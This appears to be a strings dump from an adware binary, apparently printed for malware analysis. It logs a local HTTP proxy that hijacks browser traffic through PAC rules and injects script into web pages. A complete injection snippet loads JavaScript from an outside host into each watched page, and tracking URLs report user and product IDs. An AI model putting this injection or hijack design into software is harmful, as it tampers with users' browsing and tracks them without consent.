hXXp://online.%DOMAIN%.com/online/update.aspx
[Core::PerformAsyncUpdateCheck] URL = %s
&SBPIDS=%d
[Core::FindRegistrationInfoByKey] VA Product Found
[Core::FindRegistrationInfoByKey] DAP Product Found
[Core::FindRegistrationInfoByKey] Password is %s
[Core::FindRegistrationInfoByKey] SBPID is %s
[Core::FindRegistrationInfoByKey] Product is %s
[Core::FindRegistrationInfoByKey]
[Core::FindRegistrationInfo] ___Error open key %s
[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from %s
[Core::FindRegistrationInfo] - CurrentUSDKey is %s
[Core::FindRegistrationInfo] - Enum HKEY_CURRENT_USER\%s
[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from product key
[Core::RegisterProduct] RequestURL Fauled err = %d
[Core::RegisterProduct] RequestURL Succeeded
[Core::RegisterProduct] URL = %s
&LastResponse=%s
&TF=%s
&Retry=%d&LE=%d
hXXp://online.%DOMAIN%.com/online/Register.aspx
[Core::GenerateAnonymousID] URL = %s
hXXp://online.%DOMAIN%.com/online/RegisterAnon.aspx
[Core::PingServer] URL = %s
hXXp://online.%DOMAIN%.com/online/ka.aspx
InternetReadFile failed: %d
WriteFile failed: %d
Create output file failed: %d
QueryStatus not OK: %d
HttpQueryInfo failed: %d
InternetOpenUrl failed: %d
InternetOpen failed: %d
Content-Disposition: form-data; name="%s"
--%s--
Content-Type:multipart/form-data;boundary=%s
WaitingPost.xml
%%X
<?xml version="1.0" encoding="%s"?>
-%c%c%c%c%c%c%c%c%c%c
deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly
inflate 1.1.4 Copyright 1995-2002 Mark Adler
()$^.* ?[]|\-{},:=!
safari.exe
opera.exe
itunes.exe
iexplore.exe
chrome.exe
(build %d)
Windows 2000
Windows XP
Web Edition
Windows Server 2003,
Windows XP Professional x64 Edition
Windows Home Server
Windows Storage Server 2003
Windows Server 2003 R2,
Web Server Edition
Windows Server 2008 R2
Windows 8
Windows 7
Windows Server 2008
Windows Vista
[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d - Written %d/%d bytes
[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d ___Error invalid JobInfo
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\locale
[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - html file size unknown - ignore this request (Response)
[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - Try to Inject script... (Response)
[Inject OnHeader] URL %s, type %s, length %s, trans.encoding %s, cont.encoding %s
hXXp://repjs.shopper-pro.com/app/ping.ashx?product=ShopperProJs&action=%s&it=%d&os=%s&Rnd=%d&v=%s&usid=%s&aff=JS%s&pixguid=%s&text=%s
ProxyExtensionInj: can't open Config.json
Config.json
ProxyExtensionInj: can't open database1_0_0.ej
database1_0_0.ej
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Total written %d bytes
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - injected %d bytes
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error writing new header
[ProxyExtensionInj::OnHeader] FDM=%d -
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser ParseHeader
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser Initialize
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error BuildHeader
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpFileDownloadMgr
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpProxyServer
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid JobInfo
<script type='text/javascript'>!function(){'use strict';function doInj(){if(10!==  calls){var scriptElement=document.createElement('script');scriptElement.src='//4x3zy4ql-l8bu4n1j.netdna-ssl.com/fb.js?pn=JSDRIVER&v=2.7.0.2',scriptElement.type='text/javascript';var scripts=document.getElementsByTagName('script');if(scripts.length>0)scripts[0].parentNode.insertBefore(scriptElement,scripts[0]);else{var headBody=document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0];headBody?headBody.appendChild(scriptElement):setTimeout(function(){doInj()},10)}}}var calls=0;doInj()}();</script>
%%SID%%
%%USERID%%
%%SPARAM%%
%%SPARAMDATE%%
%%SPARAMPROD%%
%%SPARAMSUB%%
%ÛVERSION%%
%%SOURCE%%
%%COUNTRY%%
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - /HEAD position was found: %d
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error /HEAD position was not found
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error uncompress: %d
[ProxyExtensionInj::InjectScriptToWatchPage] Crash fix FDM=%d (%d),Req:%d
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Parsing Watch page file for Script injection
[InjHttpProxyServer]
[InjHttpProxyLocal::InjHttpProxyLocal] FDM=%d (%d)
[InjHttpProxyLocal::~InjHttpProxyLocal] FDM=%d (%d)
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): After writing %d bytes into upper level
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Going to write the %d bytes into the upper level
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Read %d bytes from socket %d
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Reading from socket %d
[InjHttpProxyLocal::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[InjHttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.
[InjHttpProxyServer::AcceptConnection] Going to initialize Worker: %d.
[InjHttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.
[InjFileDownloadMgr] FDM=%d
[InjHttpProxyRemote::InjHttpProxyRemote] FDM=%d (%d),Req:%d
[InjHttpProxyRemote::ConnectToDomain] FAILED FDM=%d (%d),Req:%d
[InjHttpProxyRemote::~InjHttpProxyRemote] FDM=%d (%d),Req:%d
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Request was written to Local
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Going to write request to Local
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Read %d bytes from socket %d
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Reading from socket %d
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the Job object is null.
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the current download state is %s.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.
InjHttpProxyRemote::WriteCachedBufferToSocket
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) was created.
[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.
pHttpProxyWorker
[InjHttpProxyServer::GetFileDownloadManager] FDM=%d for Worker: %d, IP: %s, Port: %d, was found.
[InjHttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.
[InjHttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.
[InjHttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP: %s, Port: %d, was created.
HttpProxyServer::GetDownloader
[InjHttpProxyServer::GetFileDownloadManager] FDM not found - Creating a new one. (Worker: %d, IP: %s, Port: %d)
[InjHttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker: %d, IP: %s, Port: %d.
[InjHttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).
[InjHttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).
HttpProxyServer::OnHeader
[ProxyServer::StopAcceleration] Proxy type: %d
[ProxyServer::Stop] Proxy type: %d - Done
[ProxyServer::Stop] - delete HttpCookieJar
[ProxyServer::Stop] - GENERAL HTTP proxy - Stopped !
[ProxyServer::Stop] - GENERAL HTTP proxy - Stopping...
[ProxyServer::Stop] - HTTP proxy - Stopped !
[ProxyServer::Stop] - HTTP proxy - Stopping...
[ProxyServer::Stop] Proxy type: %d
[ProxyServer::CreateHttpProxyServer] *** HTTP Proxy Server - Created and Started ***
[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Start.
[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already started
[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Initialize.
m_pIHttpProxyServer
[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::CreateInstance.
[ProxyServer::CreateHttpProxyServer] ___Error allocate HttpCookieJar.
[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already created
ProxyServer::CreateHttpProxyServer
[ProxyServer::Start] Proxy type: %d - Done.
[ProxyServer::Start] *** HTTP proxy was started ***
[ProxyServer::Start] ___Error stating the HTTP proxy.
[ProxyServer::Start] ___Error Proxy type not supported. (Requested: %d).
[ProxyServer::Start] Proxy type: %d
[ProxyServer::AcceptConnection] *** Handover to HTTP ***
[AccelerationConfiguration::OnError] XML parse failed: %s
[CAccelerationStats::Write] Written: %d, Total: %lld, Bps: %d
[CAccelerationStats::Write] Written: %d
[CAccelerationStats::AddRequest] Req:%d - Request was added
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetBuffer
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: BuildHeader
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetRanges
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: ParseHeader
[CAccelerationStats::HandleNewRequest] FDM=%d, Req:%d (IP: %s, Port: %d) - Request was added.
[CAccelerationStats::HandleNewRequest] ___Error: The request was not added. FDM=%d, Req:%d (IP:%s, port:%d).
[CAccelerationStats::HandleNewRequest] ___Error initializing FDM=%d.
[HttpProxyServer::Init] ___Error creating listen AsyncSocket
[HttpProxyServer::Init]
[HttpProxyServer::OnData] Writing to FDM %d data bytes from Local Worker:%d.
HttpProxyServer::OnData
pIHttpProxyWorker
m_pIHttpEngineConfiguration
[HttpProxyServer::WriteDataToFile] ___Error: Not a reasnable data to write: %d
[HttpProxyServer::WriteDataToFile] ___Error: GetFileAttributes: %s, failed: %d
[HttpProxyServer::WriteDataToFile] ___Error: fwrite: %s, failed: %d
[HttpProxyServer::WriteDataToFile] ___Error: fopen: %s, failed: %d
[HttpProxyServer::WriteDataToFile] Filename: %s
[HttpProxyServer::Start] ___Error - HTTP Configuration not valid
HttpProxyServer::Initialize
[HttpProxyServer::Initialize]
[HttpProxyServer::OnAcceptEvent] *** Pass Through ***
[HttpProxyServer::OnAcceptEvent] ___Error accepting a new socket
[HttpProxyServer::OnAcceptEvent] ___Error accepting a new connection.
[HttpProxyServer::OnAcceptEvent] ___Error %s(%d) occured on the listen socket
[HttpProxyServer::IsRedirectedByDnsController] Client was Redirected by Dns Controller!
[HttpProxyServer::IsRedirectedByDnsController] NOT redirected by Dns Controller!
[HttpProxyServer::IsRedirectedByDnsController] ___Error IDnsController == NULL
[IHttpProxyServer::DestroyInstance] Destroy - HttpProxyServer - Regular MODE
[IHttpProxyServer::DestroyInstance] Destroy - TransparentProxyServer (PassThrough) - LSP MODE
[IHttpProxyServer::DestroyInstance] ___Error Redirect was not created - Type = IdleMode
[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer - LSP MODE
[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer (PassThrough) - LSP MODE
[HttpProxyServer::StartListening] Listening on port: %d
[HttpProxyServer::StartListening] ___Error Listen Socket Initialize failed
[HttpProxyServer::StartListening] ___Error listening on port: %d
[HttpProxyServer::StartListening] ___Error failed to bind the Listen Socket
[HttpProxyServer::StartListening] ___Error Testing Mode - failed to bind Listen Socket default port
[HttpProxyServer::StartListening] Try listening on IP: %s, Port: %d
[HttpProxyServer::StartListening] Listen port restored to default: %d
[HttpProxyServer::StartListening] ___Error Configuration not valid
[HttpProxyServer::StartListening]
HttpProxyServer::StartListening
[HttpProxyServer::StopAllAccelerations]
[HttpProxyServer::GetDestinationIpAndPort] ___Error getting the destination details. Local: %s:%d
[HttpProxyServer::GetDestinationIpAndPort] Local: %s:%d, Remote: %s:%d, PID: %d
[HttpProxyServer::GetDestinationIpAndPort] ___Error spIRedirectController == NULL
[HttpProxyServer::InitializationThread] ___Error listening to network traffic
[HttpProxyServer::InitializationThread] Listening to network traffic.
[HttpProxyServer::InitializationThread] Going to listen to network traffic
[HttpProxyServer::InitializationThread] ___Error HttpProxyServer not valid
[HttpProxyServer::InitializationThread]
[HttpProxyServer::ReleaseAllClosedFDMs] - All closed FDMs where released.
[HttpProxyServer::ReleaseAllClosedFDMs] - FDM=%d has %d RefCount.
[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing FDM=%d.
[HttpProxyServer::ReleaseAllClosedFDMs] - There are %d FDMs to release.
[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing all closed FDMs.
[HttpProxyServer::Start] ___Error hInitializationThread failed: %d
[HttpProxyServer::Start] hInitializationThread - S_OK
[HttpProxyServer::Start] Waiting for Initialzation Thread...
HttpProxyServer::Start
[HttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.
[HttpProxyServer::AcceptConnection] Going to initialize Worker: %d.
[HttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.
[HttpProxyServer::AcceptConnection] ___Error getting the connected IP and port of the socket %d.
[HttpProxyServer::AcceptConnection] ___Error accepting a new socket
[HttpProxyServer::Work] --- Exit event was set ---
[HttpProxyServer::Work] - Start...
[HttpProxyServer::FindDownloadMgr] FDM=%d - Was stopped.
[HttpProxyServer::FindDownloadMgr] FDM=%d - Stopping...
[HttpProxyServer::FindDownloadMgr] FDM=%d - State is completed, deleting the FDM
[HttpProxyServer::FindDownloadMgr] The FDM=%d state is Not completed - Add Request to FDM
[HttpProxyServer::FindDownloadMgr] The FDM=%d is connected to %s : %d ---> and not to %s : %d
[HttpProxyServer::FindDownloadMgr] Worker was found ! (ID Metch)
[HttpProxyServer::FindDownloadMgr] ___Warning - In caching, use a new one.
[HttpProxyServer::FindDownloadMgr] ___Warning - Worker was found but ID not match
[HttpProxyServer::FindDownloadMgr] Worker was not found !
[HttpProxyServer::RemoveDownloaderFromMap] FDM=%d - Worker:%d
HttpProxyServer::RemoveDownloaderFromMap
[HttpProxyServer::FDMWasStopped] FDM=%d <-> Local (%d)
HttpProxyServer::FDMWasStopped
[HttpProxyServer::Stop] The Stop process was finished !
[HttpProxyServer::Stop] - Workers - Deleted !
[HttpProxyServer::Stop] - Workers - Deleting...
[HttpProxyServer::Stop] - Listen - Stopped !
[HttpProxyServer::Stop] - Listen - Stopping...
[HttpProxyServer::Stop] - NetworkEventsSink - Stopped !
[HttpProxyServer::Stop] - NetworkEventsSink - Stopping...
[HttpProxyServer::Stop] Starting the Stop process...
HttpProxyServer::OnError
[HttpProxyServer::BuildElsePacString] Direct -> ieDomain = %s iePort = %d
return "PROXY %s:%d";
[HttpProxyServer::BuildElsePacString] With ie Proxy Details ieDomain = %s iePort = %d
[HttpProxyServer::BuildElsePacString] Domain ieDomain = %s iePort = %d
127.0.0.1
[HttpProxyServer::IsRequestMatchRedirectionRules] can't get configuration
[HttpProxyServer::IsRequestMatchRedirectionRules] handle on mode, return true
[HttpProxyServer::IsRequestMatchRedirectionRules] Rule not found for Domain: %s, IP: %s
[HttpProxyServer::IsRequestMatchRedirectionRules] Domain & Port found in Rule: %s
[HttpProxyServer::IsRequestMatchRedirectionRules] Domain found in Rule: %s
[HttpProxyServer::IsRequestMatchRedirectionRules] ___Error getting IAccelerationConfiguration
[HttpProxyServer::GetDestinationDomainAndPort] Domain: %s, Port: %d, URI: %s
[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain from URI
[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain and the port from the URI field.
[HttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).
[HttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).
[HttpProxyServer::OnHeader] Worker %u IsRequestMatchRedirectionRules matched - try to accelerate, PassThrough OFF
[HttpProxyServer::OnHeader] *** IsRequestMatchRedirectionRules not matched - PassThrough ON ***
[HttpProxyServer::OnHeader] ___Error local loop detected
[HttpProxyServer::OnHeader] ___Error getting the IP of the domain %s.
[HttpProxyServer::OnHeader] ___Error (TransparentMode) getting the destination IP and port from the header, for Worker:%d
[HttpProxyServer::OnHeader] ___Warning getting the destination IP and port for Worker:%d (nLocalPort:%d)
[HttpProxyServer::OnHeader] ___Error building the request from Worker:%d
[HttpProxyServer::OnHeader] ___Error (ProxyMode) getting the destination IP and port from the header, for Worker:%d
[HttpProxyServer::OnHeader] ___Error Unsupported Mode from Worker:%d !!!
[HttpProxyServer::OnHeader] ___Error getting the connected IP and Port for Worker:%d
[HttpProxyServer::OnHeader] New header from Worker:%d.
[HttpProxyServer::GetOriginalRequest] Original request was found: %s
[HttpProxyServer::InsertDownloaderToMap] FDM=%d - Worker:%d
HttpProxyServer::InsertDownloaderToMap
[HttpProxyServer::GetFileDownloadManager] FDM=%d for Worker:%d, IP:%s, Port:%d, was found.
[HttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.
[HttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.
[HttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP:%s, Port:%d, was created.
[HttpProxyServer::GetFileDownloadManager] FDM not found, Creating new one. (Worker:%d, IP:%s, Port:%d)
[HttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker:%d, IP:%s, Port:%d.
return "PROXY 127.0.0.1:%d";
shExpMatch(host, "%s")
function FindProxyForURL(url, host)
[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IConfiguration.
[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IAccelerationConfiguration.
HttpProxyServer::GetRedirectRulesInPacFormat
%%.%ds
[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: WriteDataToFile() failed: %s
[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: GetRedirectRulesInPacFormat() failed: %s
[HttpProxyServer::WriteRedirectRulesToPacFile]
[HttpProxyServer::~HttpProxyServer] - Leave
[HttpProxyServer::~HttpProxyServer] - Enter
[HttpProxyServer::SetOriginalRequest] Location: %s
[HttpProxyServer::SetOriginalRequest] Replacing: %s
[HttpProxyServer::HttpProxyServer]
hXXp://
HTTP_Version_String
HTTP/1.0
HttpParser::UpdateBuffer
[HttpParser::Reset]
[HttpParser::ValidateEndOfLine] ___Error: Unsupported end of line option.
[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c.
[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c%c.
[HttpParser::ValidateEndOfLine] ___Error: Invalid end of line: %c%c.
[HttpParser::LastChunkReceivedCompletely] Temporary nChunkSize:%d
[HttpParser::LastChunkReceivedCompletely] Received all %d bytes.
[HttpParser::LastChunkReceivedCompletely] Missing %d/%d bytes.
HttpParser::Initialize
HttpParser::GetLine
[HttpParser::GetChunkSize] Missing %d/%d bytes.
[HttpParser::GetChunkSize] After Adding nBytesInBuffer. nChunkSize:%d
[HttpParser::GetChunkSize] Before Adding nBytesInBuffer. nChunkSize:%d
[HttpParser::GetChunkSize] Received all %d bytes of the current chunk.
[HttpParser::GetChunkSize] After Adding Trailer nChunkSize:%d
[HttpParser::GetChunkSize] Before Adding Trailer nChunkSize:%d
[HttpParser::GetChunkSize] After Adding nChunkSize:%d
[HttpParser::GetChunkSize] Before Adding nChunkSize:%d
[HttpParser::GetChunkSize] Next chunk details: (header:%d bytes, size:%d bytes).
[HttpParser::GetChunkSize] The buffer size is %d bytes.
[HttpParser::GetChunkDetails] The size of the chunks is %d bytes.
[HttpParser::GetChunkDetails] ___Error Unknown end of line.
[HttpParser::GetChunkDetails] Going to analyze: BufferSize(%d), HeaderSize(%d), ChunkBufferSize(%d).
[HttpParser::ParseLine] ___Error: The field separator was not found in the line %.600s
HttpParser::ParseLine
HttpParser::GetFieldDataString
HttpParser::GetFieldDataNumber
HttpParser::SetFieldData
HttpParser::AddLineDetailsToMap
[HttpParser::IsDataAvailable] Undefined - %d data bytes
[HttpParser::IsDataAvailable] Response code has no body - no data
[HttpParser::IsDataAvailable] Request - %lld/%lld, Available: %d, Missing: %lld
[HttpParser::IsDataAvailable] Content Length - %lld/%lld, Available: %d, Missing: %lld
[HttpParser::IsDataAvailable] Chunks size - %d bytes
[HttpParser::IsDataAvailable] ___Error The Header is not complete yet...
[HttpParser::IsConnectionClose] The Connection field exists:%s
[HttpParser::IsConnectionClose] HTTP/1.1 - The Connection field does NOT exists - using Keep-Alive as default
[HttpParser::IsConnectionClose] HTTP/1.0 - The Connection field does NOT exists - using Close as default
[HttpParser::GetContentLength] Content-Length: %lld
[HttpParser::GetDataLengthFromRanges] Range fields does not exists
[HttpParser::GetDataLengthFromRanges] Total Data Length = %lld, StartOfRange = %lld, EndOfRange = %lld
[HttpParser::GetDataLengthFromRanges] End Position == 0
[HttpParser::GetDataLengthFromRanges] Filesize: %lld
[HttpParser::GetDataLengthFromRangesField] Range fields does not exists
[HttpParser::GetDataLengthFromRangesField] Total Data Length = %lld
[HttpParser::GetRangesFromHeaderField] Range fields does not exists
[HttpParser::GetRangesFromHeaderField] StartOfRange = %lld, EndOfRange = %lld
[HttpParser::GetRangesFromHeaderField] Filesize: %lld
[HttpParser::IsValid] ___Error --- NOT an HTTP request ---
HttpParser::SetFieldDataNumber
[HttpParser::AnalyzeFirstLine] ___Error The number of tokens in the line %.600s is not valid.There is not enough memory to allocate new buffers.
[HttpParser::AnalyzeFirstLine] ___Error Invalid HTTP Header: %.600s
HTTP/
HttpParser::AnalyzeFirstLine
[HttpParser::SetConnectionType] Adding - Connection: %s (%s)
[HttpParser::SetConnectionType] %s: %s (%s)
[HttpParser::UpdateDataEncodingType] Request - No Encoding.
[HttpParser::UpdateDataEncodingType] Request Post/Put - No Encoding.
[HttpParser::UpdateDataEncodingType] Request Connect - No Encoding.
[HttpParser::UpdateDataEncodingType] - No Encoding.
[HttpParser::UpdateDataEncodingType] - The data encoding type is chunked.
[HttpParser::ParseHeader] Complete - Header size: %d
HttpParser::ParseHeader
HttpParser::GetAllFieldDataStrings
[HttpHeader::BuildFirstLineInHeader] ___Error building the first line if the header. The header type is undefined.
[HttpProxyRemote::SetRangesInHeaderField] ___Error: The function SetFieldData failed.
[HttpHeader::GetRangesFromPathURI] StartOfRange: %lld, EndOfRange: %lld
[HttpHeader::GetRangesFromPathURI] The token %s was not found in the URI
[HttpHeader::GetRangesFromPathURI] ___Error: The field %s does not exist.
[HttpHeader::GetRangesFromURI] StartOfRange: %lld, EndOfRange: %lld
[HttpHeader::GetRangesFromURI] The token %s was not found in the URI
[HttpHeader::GetRangesFromURI] ___Error: The field %s does not exist.
[HttpHeader::GetDomainAndPortFromURI] Domain: %s, Port: %d
[HttpHeader::GetDomainAndPortFromURI] ___Error No URI empty
[HttpProxyRemote::SetRangesInPathURI] ___Error: The function SetFieldData field.
%s%lld
[HttpHeader::SetRangesInPathURI] ___Error: The field %s does not exist.
[HttpProxyRemote::SetRangesInURI] ___Error: The function SetFieldData field.
%s%lld-
%s%lld-%lld
[HttpHeader::SetRangesInURI] ___Error: The field %s does not exist.
[HttpProxyLocal::SocketWasConnected] FDM=%d (%d)
[HttpProxyLocal::SocketAcceptedConnection] FDM=%d (%d)
[HttpProxyLocal::SocketWasClosed] FDM=%d (%d)
[HttpProxyLocal::ErrorOnSocket] FDM=%d (%d)
[HttpProxyLocal::Stop] FDM=%d (%d)
[~HttpProxyLocal - %p] FDM=%d (%d).
C:\Temp\Socket%d.bin
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request data *** (wrote %lld data bytes).
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Data.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the data written.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The data size is %d/%d bytes.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker has no data to send.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in DATA state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker has %d data bytes in the buffer to send
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching to DATA state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request header ***.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Wroker is switching to DATA state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Header.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the Header written.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker was stopped (in HEADER state)
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error The header is not valid - switch to PassThrough mode!
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning The header is not complete
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in HEADER state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - NO PassThrough mode
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - IN PassThrough mode
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error: JobInfo is NULL.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Going to analyze %d bytes.
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): After writing %d bytes into upper level
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Going to write the %d bytes into the upper level
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Read %d bytes from socket %d
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): ___Error: Reading from socket %d
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Reading from socket %d
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyLocal - %p] FDM=%d (%d).
C:\Temp\Socket_%d_%lld_%d.bin
C:\Temp\Socket_%d.bin
[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Worker was STOPPED.
[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Setting the cache writer as finished.
[HttpProxyWorker::Stop] FDM=%d (%d) - The socket object was deleted.
[HttpProxyWorker::Stop] FDM=%d (%d) - Going to delete the socket object.
[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Going to stop the worker.
[HttpProxyWorker::Stop] FDM=%d (%d)
[HttpProxyWorker::ErrorOnJob] FDM=%d (%d)
[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - After writing %d/%d bytes to socket %d.
[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - Before writing %d bytes to socket %d.
HttpProxyWorker::Write
[RtmpProxyWorker::Write] FDM=%d (%d),Req:%d ___Warning No bytes to write
[HttpProxyWorker::Write] FDM=%d (%d),Req:%d ___Error is not ready
[HttpProxyWorker::OnCloseEvent] FDM=%d (%d),Req:%d - Socket %d was closed.
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error initializing socket
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** socket %d was Initialized ***.
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error Binding to cellular interface - set to default interface
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d - Binded to Cellular Interface.
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** new socket ***
HttpProxyWorker::InitializeSocket
[HttpProxyWorker::Initialize] FDM=%d (%d): ___Error initializing the worker, Err: %d.
[HttpProxyWorker::Initialize] FDM=%d (%d) was initialized.
HttpProxyWorker::Initialize
[HttpProxyWorker::DumpBufferToLogFile] FDM=%d (%d),Req:%d
[~HttpProxyWorker - %p] FDM=%d (%d).
[HttpProxyWorker - %p] FDM=%d (%d).
[JobInfo::GetPositionField] ___Error: The field %d is not a position field.
[JobInfo::SetPositionField] ___Error: The field %d is not a position field.
[JobInfo::SetPositionField] Job:%d - RANGE_CONTENT_LENGTH - %lld
[JobInfo::SetPositionField] Job:%d - TIME_CURRENT_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - TIME_END_POSITION - %lld
